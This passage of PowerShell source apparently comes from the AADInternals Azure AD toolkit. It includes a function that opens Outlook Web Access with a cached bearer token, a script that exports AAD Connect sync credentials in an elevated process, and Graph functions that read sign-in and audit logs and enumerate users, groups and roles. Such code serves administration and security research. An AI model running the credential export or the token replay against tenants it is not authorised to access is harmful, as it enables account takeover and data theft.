Call-OutlookAPI -AccessToken $AccessToken -Command $Cmd -Method Get -Api v1.0
}
}
# Opens OWA as the given user
# Sep 1st 2021
function Open-OWA
{
<#
.SYNOPSIS
Opens OWA in a browser control window
.DESCRIPTION
Opens OWA in a browser control window as the given user
.Example
PS C:\>Get-AADIntAccessTokenForEXO -Resource "https://outlook.office.com" -SaveToCache
PS C:\>Open-AADIntOWA
.Example
PS C:\>Get-AADIntAccessTokenForEXO -Resource "https://substrate.office.com" -SaveToCache
PS C:\>Open-AADIntOWA -Mode Substrate
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[ValidateSet("Outlook","Substrate")]
[String]$Mode="Outlook"
)
Begin
{
$icon = Convert-B64ToByteArray -B64 "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////////AH///gAf//gAD//wAAf/4AAD/+AAAf/AAAH/wAAA/8AAAP+AAAD/gAAA/4AAAP+AAAD/wAAA/8AAAP/AAAH/wAAA/8AAAP+AAAD/gAAA/4AAAP+PAHz/////////////////////////////////////8="
}
Process
{
$Mode = $Mode.ToLower()
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://$($Mode).office.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Create the form and add a WebBrowser control to it
[Windows.Forms.Form]$form = New-Object Windows.Forms.Form
$form.Width = 1024
$form.Height = 768
$form.FormBorderStyle=[System.Windows.Forms.FormBorderStyle]::Sizable
$form.Icon = [System.Drawing.Icon]::new([System.IO.MemoryStream]::new($icon))
$form.Text = "AADInternals | $($mode).office.com"
[Windows.Forms.WebBrowser]$web = New-Object Windows.Forms.WebBrowser
$web.Size = $form.ClientSize
$web.Anchor = "Left,Top,Right,Bottom"
$form.Controls.Add($web)
# Clear WebBrowser control cache
Clear-WebBrowser
$web.ScriptErrorsSuppressed = $True
$web.Navigate("https://outlook.office.com/owa/","",$null,"Authorization: Bearer $AccessToken")
$form.ShowDialog()
$web.Dispose()
$form.Dispose()
}
} |
AADSyncSettings_job.ps1 | AADInternals-0.9.4 | # This file will export AAD Connect credentials in a backgroud process
# so that the current PowerShell session is not elevated.
# Called from Get-SyncCredentials if -AsBackgroundProcess equals $true (=default)
# Add AADInternals dll to be able to elevate
Add-Type -path "$PSScriptRoot\Win32Ntv.dll"
# Import required AADInternals PowerShell scripts
. "$PSScriptRoot\CommonUtils.ps1"
. "$PSScriptRoot\AADSyncSettings.ps1"
# Get the credentials as PSObject
$credentials = Get-SyncCredentials -AsBackgroundProcess $false
# Convert to JSON string and return
return $credentials | ConvertTo-Json -Compress |
MSGraphAPI.ps1 | AADInternals-0.9.4 | # This script contains functions for MSGraph API at https://graph.microsoft.com
# Returns the 50 latest signin entries or the given entry
# Jun 9th 2020
function Get-AzureSignInLog
{
<#
.SYNOPSIS
Returns the 50 latest entries from Azure AD sign-in log or single entry by id
.DESCRIPTION
Returns the 50 latest entries from Azure AD sign-in log or single entry by id
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Get-AADIntAzureSignInLog
createdDateTime id ipAddress userPrincipalName appDisplayName
--------------- -- --------- ----------------- --------------
2020-05-25T05:54:28.5131075Z b223590e-8ba1-4d54-be54-03071659f900 199.11.103.31 [email protected] Azure Portal
2020-05-29T07:56:50.2565658Z f6151a97-98cc-444e-a79f-a80b54490b00 139.93.35.110 [email protected] Azure Portal
2020-05-29T08:02:24.8788565Z ad2cfeff-52f2-442a-b8fc-1e951b480b00 11.146.246.254 [email protected] Microsoft Docs
2020-05-29T08:56:48.7857468Z e0f8e629-863f-43f5-a956-a4046a100d00 1.239.249.24 [email protected] Azure Active Directory PowerShell
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Get-AADIntAzureSignInLog
createdDateTime id ipAddress userPrincipalName appDisplayName
--------------- -- --------- ----------------- --------------
2020-05-25T05:54:28.5131075Z b223590e-8ba1-4d54-be54-03071659f900 199.11.103.31 [email protected] Azure Portal
2020-05-29T07:56:50.2565658Z f6151a97-98cc-444e-a79f-a80b54490b00 139.93.35.110 [email protected] Azure Portal
2020-05-29T08:02:24.8788565Z ad2cfeff-52f2-442a-b8fc-1e951b480b00 11.146.246.254 [email protected] Microsoft Docs
2020-05-29T08:56:48.7857468Z e0f8e629-863f-43f5-a956-a4046a100d00 1.239.249.24 [email protected] Azure Active Directory PowerShell
PS C:\>Get-AADIntAzureSignInLog -EntryId b223590e-8ba1-4d54-be54-03071659f900
id : b223590e-8ba1-4d54-be54-03071659f900
createdDateTime : 2020-05-25T05:54:28.5131075Z
userDisplayName : admin company
userPrincipalName : [email protected]
userId : 289fcdf8-af4e-40eb-a363-0430bc98d4d1
appId : c44b4083-3bb0-49c1-b47d-974e53cbdf3c
appDisplayName : Azure Portal
ipAddress : 199.11.103.31
clientAppUsed : Browser
userAgent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$EntryId,
[switch]$Export
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
# Select one entry if provided
if($EntryId)
{
$queryString = "`$filter=id eq '$EntryId'"
}
else
{
$queryString = "`$top=50&`$orderby=createdDateTime"
}
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "auditLogs/signIns" -QueryString $queryString
# Return full results
if($Export)
{
return $results
}
elseif($EntryId) # The single entry
{
return $results
}
else # Print out only some info - the API always returns all info as $Select is not supported :(
{
$results | select createdDateTime,id,ipAddress,userPrincipalName,appDisplayName | ft
}
}
}
# Returns the 50 latest signin entries or the given entry
# Jun 9th 2020
function Get-AzureAuditLog
{
<#
.SYNOPSIS
Returns the 50 latest entries from Azure AD sign-in log or single entry by id
.DESCRIPTION
Returns the 50 latest entries from Azure AD sign-in log or single entry by id
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Get-AADIntAzureAuditLog
id activityDateTime activityDisplayName operationType result initiatedBy
-- ---------------- ------------------- ------------- ------ -----------
Directory_9af6aff3-dc09-4ac1-a1d3-143e80977b3e_EZPWC_41985545 2020-05-29T07:57:51.4037921Z Add service principal Add success @{user=; app=}
Directory_f830a9d4-e746-48dc-944c-eb093364c011_1ZJAE_22273050 2020-05-29T07:57:51.6245497Z Add service principal Add failure @{user=; app=}
Directory_a813bc02-5d7a-4a40-9d37-7d4081d42b42_RKRRS_12877155 2020-06-02T12:49:38.5177891Z Add user Add success @{app=; user=}
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Get-AADIntAzureAuditLog
id activityDateTime activityDisplayName operationType result initiatedBy
-- ---------------- ------------------- ------------- ------ -----------
Directory_9af6aff3-dc09-4ac1-a1d3-143e80977b3e_EZPWC_41985545 2020-05-29T07:57:51.4037921Z Add service principal Add success @{user=; app=}
Directory_f830a9d4-e746-48dc-944c-eb093364c011_1ZJAE_22273050 2020-05-29T07:57:51.6245497Z Add service principal Add failure @{user=; app=}
Directory_a813bc02-5d7a-4a40-9d37-7d4081d42b42_RKRRS_12877155 2020-06-02T12:49:38.5177891Z Add user Add success @{app=; user=}
PS C:\>Get-AADIntAzureAuditLog -EntryId Directory_9af6aff3-dc09-4ac1-a1d3-143e80977b3e_EZPWC_41985545
id : Directory_9af6aff3-dc09-4ac1-a1d3-143e80977b3e_EZPWC_41985545
category : ApplicationManagement
correlationId : 9af6aff3-dc09-4ac1-a1d3-143e80977b3e
result : success
resultReason :
activityDisplayName : Add service principal
activityDateTime : 2020-05-29T07:57:51.4037921Z
loggedByService : Core Directory
operationType : Add
initiatedBy : @{user=; app=}
targetResources : {@{id=66ce0b00-92ee-4851-8495-7c144b77601f; displayName=Azure Credential Configuration Endpoint Service; type=ServicePrincipal; userPrincipalName=;
groupType=; modifiedProperties=System.Object[]}}
additionalDetails : {}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$EntryId,
[switch]$Export
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
# Select one entry if provided
if($EntryId)
{
$queryString = "`$filter=id eq '$EntryId'"
}
else
{
$queryString = "`$top=50&`$orderby=activityDateTime"
}
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "auditLogs/directoryAudits" -QueryString $queryString
# Return full results
if($Export)
{
return $results
}
elseif($EntryId) # The single entry
{
return $results
}
else # Print out only some info - the API always returns all info as $Select is not supported :(
{
$results | select id,activityDateTime,activityDisplayName,operationType,result,initiatedBy | ft
}
}
}
function Get-AADUsers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$SearchString,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
if(![string]::IsNullOrEmpty($SearchString))
{
$queryString="`$filter=(startswith(displayName,'$SearchString') or startswith(userPrincipalName,'$SearchString'))"
}
elseif(![string]::IsNullOrEmpty($UserPrincipalName))
{
$queryString="`$filter=userPrincipalName eq '$UserPrincipalName'"
}
$results=Call-MSGraphAPI -AccessToken $AccessToken -API users -QueryString $queryString
return $results
}
}
# Gets the user's data
# Jun 16th 2020
function Get-MSGraphUser
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName" -ApiVersion "v1.0" -QueryString "`$select=businessPhones,displayName,givenName,id,jobTitle,mail,mobilePhone,officeLocation,preferredLanguage,surname,userPrincipalName,onPremisesDistinguishedName,onPremisesExtensionAttributes,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,usageLocation,provisionedPlans,proxyAddresses"
return $results
}
}
# Gets the user's application role assignments
# Jun 16th 2020
function Get-MSGraphUserAppRoleAssignments
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName/appRoleAssignments" -ApiVersion v1.0
return $results
}
}
# Gets the user's owned devices
# Jun 16th 2020
function Get-MSGraphUserOwnedDevices
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName/ownedDevices" -ApiVersion v1.0
return $results
}
}
# Gets the user's registered devices
# Jun 16th 2020
function Get-MSGraphUserRegisteredDevices
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName/registeredDevices" -ApiVersion v1.0
return $results
}
}
# Gets the user's licenses
# Jun 16th 2020
function Get-MSGraphUserLicenseDetails
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName/licenseDetails" -ApiVersion v1.0
return $results
}
}
# Gets the user's groups
# Jun 16th 2020
function Get-MSGraphUserMemberOf
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName/memberOf" -ApiVersion v1.0
return $results
}
}
# Gets the user's direct reports
# Jun 16th 2020
function Get-MSGraphUserDirectReports
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName/directReports" -ApiVersion v1.0 -QueryString "`$select=businessPhones,displayName,givenName,id,jobTitle,mail,mobilePhone,officeLocation,preferredLanguage,surname,userPrincipalName,onPremisesDistinguishedName,onPremisesExtensionAttributes,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,usageLocation,provisionedPlans,proxyAddresses"
return $results
}
}
# Gets the user's manager
# Jun 16th 2020
function Get-MSGraphUserManager
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$UserPrincipalName
)
Process
{
# Url encode for external users, replace # with %23
$UserPrincipalName = $UserPrincipalName.Replace("#","%23")
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "users/$UserPrincipalName/manager" -ApiVersion v1.0 -QueryString "`$select=businessPhones,displayName,givenName,id,jobTitle,mail,mobilePhone,officeLocation,preferredLanguage,surname,userPrincipalName,onPremisesDistinguishedName,onPremisesExtensionAttributes,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,usageLocation,provisionedPlans,proxyAddresses"
return $results
}
}
# Gets the group's owners
# Jun 16th 2020
function Get-MSGraphGroupOwners
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$GroupId
)
Process
{
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "groups/$GroupId/owners" -ApiVersion v1.0 -QueryString "`$select=businessPhones,displayName,givenName,id,jobTitle,mail,mobilePhone,officeLocation,preferredLanguage,surname,userPrincipalName,onPremisesDistinguishedName,onPremisesExtensionAttributes,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,usageLocation,provisionedPlans,proxyAddresses"
return $results
}
}
# Gets the group's members
# Jun 16th 2020
function Get-MSGraphGroupMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$GroupId
)
Process
{
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "groups/$GroupId/members" -ApiVersion v1.0 -QueryString "`$top=500&`$select=businessPhones,displayName,givenName,id,jobTitle,mail,mobilePhone,officeLocation,preferredLanguage,surname,userPrincipalName,onPremisesDistinguishedName,onPremisesExtensionAttributes,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,usageLocation,provisionedPlans,proxyAddresses"
return $results
}
}
# Gets the group's members
# Jun 17th 2020
function Get-MSGraphRoleMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$RoleId
)
Process
{
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "directoryRoles/$RoleId/members" -ApiVersion v1.0 -QueryString "`$select=businessPhones,displayName,givenName,id,jobTitle,mail,mobilePhone,officeLocation,preferredLanguage,surname,userPrincipalName,onPremisesDistinguishedName,onPremisesExtensionAttributes,onPremisesImmutableId,onPremisesLastSyncDateTime,onPremisesSamAccountName,onPremisesSecurityIdentifier,refreshTokensValidFromDateTime,signInSessionsValidFromDateTime,usageLocation,provisionedPlans,proxyAddresses"
return $results
}
}
# Gets the tenant domains (all of them)
# Jun 16th 2020
function Get-MSGraphDomains
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken
)
Process
{
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "domains" -ApiVersion beta
return $results
}
}
# Gets team information
# Jun 17th 2020
function Get-MSGraphTeams
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$GroupId
)
Process
{
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "teams/$GroupId" -ApiVersion v1.0
return $results
}
}
# Gets team's app information
# Jun 17th 2020
function Get-MSGraphTeamsApps
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$GroupId
)
Process
{
$results=Call-MSGraphAPI -AccessToken $AccessToken -API "teams/$GroupId/installedApps?`$expand=teamsAppDefinition" -ApiVersion v1.0
return $results
}
}
# Gets the authorizationPolicy
# Sep 18th 2020
function Get-TenantAuthPolicy
{
<#
.SYNOPSIS
Gets tenant's authorization policy.
.DESCRIPTION
Gets tenant's authorization policy, including user and guest settings.
.PARAMETER AccessToken
Access token used to retrieve the authorization policy.
.Example
Get-AADIntAccessTokenForMSGraph
PS C:\>Get-AADIntTenantAuthPolicy
id : authorizationPolicy
allowInvitesFrom : everyone
allowedToSignUpEmailBasedSubscriptions : True
allowedToUseSSPR : True
allowEmailVerifiedUsersToJoinOrganization : False
blockMsolPowerShell : False
displayName : Authorization Policy
description : Used to manage authorization related settings across the company.
enabledPreviewFeatures : {}
guestUserRoleId : 10dae51f-b6af-4016-8d66-8c2a99b929b3
permissionGrantPolicyIdsAssignedToDefaultUserRole : {microsoft-user-default-legacy}
defaultUserRolePermissions : @{allowedToCreateApps=True; allowedToCreateSecurityGroups=True; allowedToReadOtherUsers=True}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
